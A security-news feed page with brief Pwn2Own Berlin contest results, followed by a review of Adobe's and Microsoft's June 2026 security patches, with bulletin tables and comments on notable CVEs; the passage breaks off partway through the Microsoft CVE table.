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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category used a bug that was previously known to the vendor. They still earn $20,000 and 2 Master of Pwn points</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/bb0502d8-95c7-4dda-a7a7-183401c41d13/viettel+2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - haehae (@haehaeYang) of Out Of Bounds used a Path Traversal bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/7fd3253a-0a70-442c-a3c2-55bcf6ff5dbf/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/c75b6dc6-21f3-4a69-98b3-1b3d62b8ffdd/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
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<p><b data-preserve-html-node="true">SUCCESS</b> - Kentaro Kawane of GMO Cybersecurity by Ierae chained 2 Use-After-Free bugs to escalate privileges on Microsoft Windows 11 in the third round, earning $15,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
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</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
